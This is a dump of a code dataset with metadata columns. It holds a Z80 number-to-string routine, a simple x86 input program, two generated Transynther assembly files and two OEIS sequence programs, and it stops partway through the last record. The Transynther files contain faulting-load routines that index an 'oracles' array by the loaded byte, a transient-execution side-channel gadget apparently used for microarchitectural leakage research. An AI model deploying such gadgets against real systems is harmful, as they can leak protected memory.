hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3713fa4ef6bee0b785e804c12f0b8ca69171a7c5 | 2,270 | asm | Assembly | src/int2str.asm | LessNick/CLi-for-WildCommander | 9b3267278f89ff08b52d8ad8dfceb34af3f8fdcb | [
"BSD-2-Clause"
] | 8 | 2016-10-22T19:38:38.000Z | 2021-08-22T12:53:28.000Z | src/int2str.asm | LessNick/CLi-for-WildCommander | 9b3267278f89ff08b52d8ad8dfceb34af3f8fdcb | [
"BSD-2-Clause"
] | null | null | null | src/int2str.asm | LessNick/CLi-for-WildCommander | 9b3267278f89ff08b52d8ad8dfceb34af3f8fdcb | [
"BSD-2-Clause"
] | 2 | 2019-04-28T16:12:08.000Z | 2020-04-14T13:15:06.000Z | ;--------------------------------------------------------------
; int2str перевод int в текст (десятичное число)
; (C) BUDDER/MGN - 2011.12.26
; char2str перевод char(8bit) в текст (десятичное число)
; Added by breeze
;--------------------------------------------------------------
; i:[HL] - int16, EXX DE - String addres
; o:Decimal string(5)
_int2str ld bc,10000
call delit
ld (de),a
inc de
ld bc,1000
call delit
ld (de),a
inc de
; i:[HL] - int8, EXX DE - String addres
; o:Decimal string(3)
_char2str ld bc,100
call delit
ld (de),a
inc de
; i:[HL] - int4, EXX DE - String addres
; o:Decimal string(3)
_fourbit2str ld c,10
call delit
ld (de),a
inc de
ld c,1
call delit
ld (de),a
ret
delit ld a,#ff
or a
dlit inc a
sbc hl,bc
jp nc,dlit
add hl,bc
add a,#30
ret
;--------------------------------------------------------------
word2str
;ВЫВОД 32bit ЧИСЛА:
DECZON4 ;i:[DE,HL] - int32
; EXX DE - String addres
; o:Decimal string(10)
LD BC,#CA00,(CLHL),BC; 1B
LD BC,#3B9A,(CLDE),BC
CALL DELIT4T
EXX:LD (DE),A:INC DE:EXX
LD BC,#E100,(CLHL),BC; 100M
LD BC,#05F5,(CLDE),BC
CALL DELIT4T
EXX:LD (DE),A:INC DE:EXX
LD BC,#9680,(CLHL),BC; 10M
LD BC,#0098,(CLDE),BC
CALL DELIT4T
EXX:LD (DE),A:INC DE:EXX
LD BC,#4240,(CLHL),BC; 1M
LD BC,#000F,(CLDE),BC
CALL DELIT4T
EXX:LD (DE),A:INC DE:EXX
LD BC,#86A0,(CLHL),BC; 100K
LD BC,#0001,(CLDE),BC
CALL DELIT4T
EXX:LD (DE),A:INC DE:EXX
;---------------------------------------
DELIT4T ;i:[DE,HL]/[CLDE,CLHL]
; o:[DE,HL] - Remainder
; BC - Count
LD IX,0-1
NAZE OR A
DLTB LD BC,0
INC IX
EX DE,HL:SBC HL,BC:JR C,ND
DLTA LD BC,0
EX DE,HL:SBC HL,BC:JR NC,DLTB
DEC DE
LD A,D:INC A:JR NZ,NAZE
LD A,E:INC A:JR NZ,NAZE
INC DE
ADD HL,BC
EX DE,HL
LD BC,(CLDE)
;-------
ND ADD HL,BC
EX DE,HL
Nd PUSH IX
POP BC
LD A,C:ADD A,#30
RET
;---------------------------------------
CLHL EQU DLTA+1
CLDE EQU DLTB+1
;---------------------------------------
| 20.45045 | 64 | 0.460352 |
bec1aa08b009df0c403d6fe34201715b4de23e3c | 531 | asm | Assembly | src/basics/input.asm | Pentium1080Ti/x86-assembly | 4af3caf07e17bdd23e08b85f6666d67f63f610c2 | [
"MIT"
] | null | null | null | src/basics/input.asm | Pentium1080Ti/x86-assembly | 4af3caf07e17bdd23e08b85f6666d67f63f610c2 | [
"MIT"
] | null | null | null | src/basics/input.asm | Pentium1080Ti/x86-assembly | 4af3caf07e17bdd23e08b85f6666d67f63f610c2 | [
"MIT"
] | null | null | null | %include 'src/include/functions.asm'
SECTION .data
msg1 db 'Please enter your name: ', 0h
msg2 db 'Hello, ', 0h
SECTION .bss
sinput: resb 255
SECTION .text
global _start
_start:
mov eax, msg1
call sprint
mov edx, 255 ; read 255 bytes
mov ecx, sinput ; buffer for input
mov ebx, 0 ; write to STDIN
mov eax, 3 ; invoke sys_read - opcode 3
int 80h
mov eax, msg2
call sprint
mov eax, sinput ; move buffer to eax (input already has a line feed)
call sprint
call quit | 17.7 | 72 | 0.642185 |
c3ae47ad354a85dd9451802695d1834332fc4488 | 5,928 | asm | Assembly | Transynther/x86/_processed/NONE/_un_xt_sm_/i9-9900K_12_0xca.log_21829_352.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_un_xt_sm_/i9-9900K_12_0xca.log_21829_352.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_un_xt_sm_/i9-9900K_12_0xca.log_21829_352.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1c27a, %rsi
lea addresses_normal_ht+0x162aa, %rdi
nop
nop
cmp %r13, %r13
mov $37, %rcx
rep movsq
nop
xor %r9, %r9
lea addresses_A_ht+0x443a, %r12
nop
nop
nop
nop
nop
xor %rsi, %rsi
mov $0x6162636465666768, %r13
movq %r13, %xmm2
movups %xmm2, (%r12)
nop
nop
nop
nop
and $37774, %rdi
lea addresses_WC_ht+0x1d2ba, %r13
nop
nop
xor %rbp, %rbp
mov (%r13), %rsi
nop
nop
nop
nop
nop
add $64223, %rsi
lea addresses_D_ht+0x8a1f, %rbp
nop
inc %r12
mov $0x6162636465666768, %r13
movq %r13, %xmm3
movups %xmm3, (%rbp)
nop
nop
nop
nop
nop
cmp $45203, %rcx
lea addresses_D_ht+0x1acaa, %r12
nop
nop
xor $39568, %rdi
mov $0x6162636465666768, %rbp
movq %rbp, %xmm2
movups %xmm2, (%r12)
nop
and %r9, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %rbp
push %rcx
push %rdi
push %rsi
// Store
mov $0xeaa, %rbp
nop
nop
nop
cmp %r11, %r11
movb $0x51, (%rbp)
nop
nop
nop
nop
nop
xor %r10, %r10
// Load
lea addresses_A+0xf12a, %r14
add %rcx, %rcx
mov (%r14), %r11d
nop
xor $57385, %rsi
// Store
lea addresses_WC+0xceaa, %r11
nop
and $17829, %rsi
movb $0x51, (%r11)
// Exception!!!
nop
mov (0), %rcx
nop
nop
nop
sub %rsi, %rsi
// Faulty Load
lea addresses_WC+0xceaa, %r11
nop
nop
nop
nop
nop
sub %rbp, %rbp
mov (%r11), %r14w
lea oracles, %rdi
and $0xff, %r14
shlq $12, %r14
mov (%rdi,%r14,1), %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': True, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'c0': 10, '51': 21819}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 c0 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 c0 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
| 37.05 | 2,999 | 0.654184 |
88d8eb5dcc718bf53c2dd0cd9c73aa027e772506 | 787 | asm | Assembly | oeis/131/A131569.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/131/A131569.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/131/A131569.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A131569: a(n) = (1/2)*(F(n+2)-1)*(F(n+2)-2) + F(n), where F() are the Fibonacci numbers.
; Submitted by Jon Maiga
; 1,2,8,24,71,198,541,1452,3862,10208,26885,70644,185369,485982,1273420,3335640,8735707,22875050,59895221,156819960,410579786,1074943872,2814291433,7367994504,19289795761,50501560538,132215157296,346144350552,906218605007,2372512614318,6211321098445,16261453691364,42573044846494,111457688729312,291800034093485,763942434184380,2000027301844937,5236139525368950,13708391361665716,35889034701050520,93958712970311971,245987104580133842,644002601369164133,1686020700496681584,4414059501689278226
add $0,1
lpb $0
add $2,1
mov $4,$0
sub $0,1
cmp $3,$2
sub $3,$1
cmp $4,0
sub $4,1
mul $5,$4
add $5,1
sub $5,$3
add $1,$5
lpe
bin $1,2
add $1,$5
mov $0,$1
| 35.772727 | 493 | 0.758577 |
82bf69fe1fdcabb5a147a0670b854bafc1a71b25 | 565 | asm | Assembly | lang/italian/fnam.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | lang/italian/fnam.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | lang/italian/fnam.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; English texts for File Name Menu 1988 Tony Tebby QJUMP
section language
include 'dev8_mac_text'
mkiobl fnnf\
0,0,{This file cannot be found. Use Qram} \40
0,1,{FILES menu to check the directory.} ;40
mkiobl fniu\
0,0,{This file is in use. Use the Qram} \40
0,1,{CHANNELS menu to find the job using it.} ;40
mkiobl fner\
0,0,{This file open gives the system error} \40
0,1,err
end
| 28.25 | 67 | 0.497345 |
3a6f6f9fa27234c460b65670d688440691e3849c | 7,989 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2839.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2839.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2839.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x8512, %rsi
lea addresses_WT_ht+0xdeb2, %rdi
clflush (%rsi)
nop
add %rbx, %rbx
mov $77, %rcx
rep movsl
nop
nop
nop
nop
xor %r9, %r9
lea addresses_WC_ht+0x1b800, %rbp
nop
and %r13, %r13
mov $0x6162636465666768, %rbx
movq %rbx, %xmm6
vmovups %ymm6, (%rbp)
nop
nop
nop
and $48911, %rsi
lea addresses_normal_ht+0x19e12, %rsi
lea addresses_UC_ht+0x7a12, %rdi
nop
nop
nop
nop
add $8884, %r11
mov $51, %rcx
rep movsq
nop
cmp $52856, %r13
lea addresses_WT_ht+0x6a12, %rsi
lea addresses_D_ht+0x11212, %rdi
add $54344, %r9
mov $70, %rcx
rep movsb
sub $8951, %rdi
lea addresses_A_ht+0x1c312, %rsi
nop
nop
nop
nop
nop
inc %r9
mov $0x6162636465666768, %rbx
movq %rbx, %xmm6
movups %xmm6, (%rsi)
nop
nop
nop
cmp %r11, %r11
lea addresses_A_ht+0x17628, %rdi
cmp %r13, %r13
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%rdi)
nop
nop
nop
nop
sub $10513, %r13
lea addresses_normal_ht+0x13d52, %rbp
nop
nop
nop
nop
nop
inc %rbx
vmovups (%rbp), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rcx
nop
nop
nop
cmp $45305, %rdi
lea addresses_WT_ht+0x20d2, %rbx
cmp %rcx, %rcx
movl $0x61626364, (%rbx)
nop
nop
cmp $45471, %r11
lea addresses_WC_ht+0x1d112, %rsi
lea addresses_WT_ht+0x9112, %rdi
nop
nop
nop
add $3952, %rbx
mov $17, %rcx
rep movsb
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0x12612, %r11
nop
nop
nop
nop
nop
xor $44489, %rdi
movb (%r11), %r9b
nop
sub %rcx, %rcx
lea addresses_A_ht+0x1d812, %rcx
nop
nop
nop
nop
nop
add $55381, %rbx
mov $0x6162636465666768, %r13
movq %r13, %xmm7
vmovups %ymm7, (%rcx)
nop
nop
nop
nop
nop
sub %r9, %r9
lea addresses_A_ht+0x1b612, %rsi
lea addresses_WT_ht+0x13262, %rdi
nop
nop
sub $49740, %r13
mov $25, %rcx
rep movsw
cmp $49755, %r13
lea addresses_UC_ht+0x17392, %rbx
nop
nop
nop
xor $31955, %r13
vmovups (%rbx), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %rsi
nop
nop
nop
nop
xor %rbp, %rbp
lea addresses_D_ht+0x1c912, %rsi
lea addresses_WC_ht+0x6612, %rdi
add $15807, %r13
mov $14, %rcx
rep movsl
nop
nop
nop
add $16703, %rsi
lea addresses_WT_ht+0x5252, %rbx
nop
nop
cmp $35151, %rbp
movb (%rbx), %cl
nop
nop
nop
nop
and $7523, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %r9
push %rcx
push %rdx
push %rsi
// Faulty Load
lea addresses_D+0x1a12, %rcx
nop
sub %rdx, %rdx
mov (%rcx), %r13
lea oracles, %rcx
and $0xff, %r13
shlq $12, %r13
mov (%rcx,%r13,1), %r13
pop %rsi
pop %rdx
pop %rcx
pop %r9
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': True}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 33.995745 | 2,999 | 0.659657 |
9dd1fdefbcef0adb3fc1b1f7c2a9346d8a9bcf6e | 542 | asm | Assembly | base/runtime/trunc.asm | zbyti/Mad-Pascal | 546cae9724828f93047080109488be7d0d07d47e | [
"MIT"
] | 7 | 2020-05-02T15:37:57.000Z | 2021-02-17T01:59:41.000Z | base/runtime/trunc.asm | michalkolodziejski/Mad-Pascal | 0a7a1e2f379e50b0a23878b0d881ff3407269ed6 | [
"MIT"
] | 14 | 2020-05-03T02:02:35.000Z | 2020-08-10T08:41:19.000Z | base/runtime/trunc.asm | michalkolodziejski/Mad-Pascal | 0a7a1e2f379e50b0a23878b0d881ff3407269ed6 | [
"MIT"
] | 5 | 2020-06-02T18:34:14.000Z | 2020-07-09T18:13:44.000Z |
/*
@TRUNC
@TRUNC_SHORT
*/
.proc @TRUNC
ldy :STACKORIGIN+STACKWIDTH*3,x
spl
jsr negCARD
mva :STACKORIGIN+STACKWIDTH,x :STACKORIGIN,x
mva :STACKORIGIN+STACKWIDTH*2,x :STACKORIGIN+STACKWIDTH,x
mva :STACKORIGIN+STACKWIDTH*3,x :STACKORIGIN+STACKWIDTH*2,x
mva #$00 :STACKORIGIN+STACKWIDTH*3,x
tya
spl
jsr negCARD
rts
.endp
.proc @TRUNC_SHORT
ldy :STACKORIGIN+STACKWIDTH,x
spl
jsr negSHORT
sta :STACKORIGIN,x
mva #$00 :STACKORIGIN+STACKWIDTH,x
tya
spl
jsr negSHORT
rts
.endp
| 13.219512 | 61 | 0.680812 |
2f1113bad6fc387f6dbdbc0e2b22d07dfa027792 | 453 | asm | Assembly | oeis/037/A037582.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/037/A037582.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/037/A037582.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
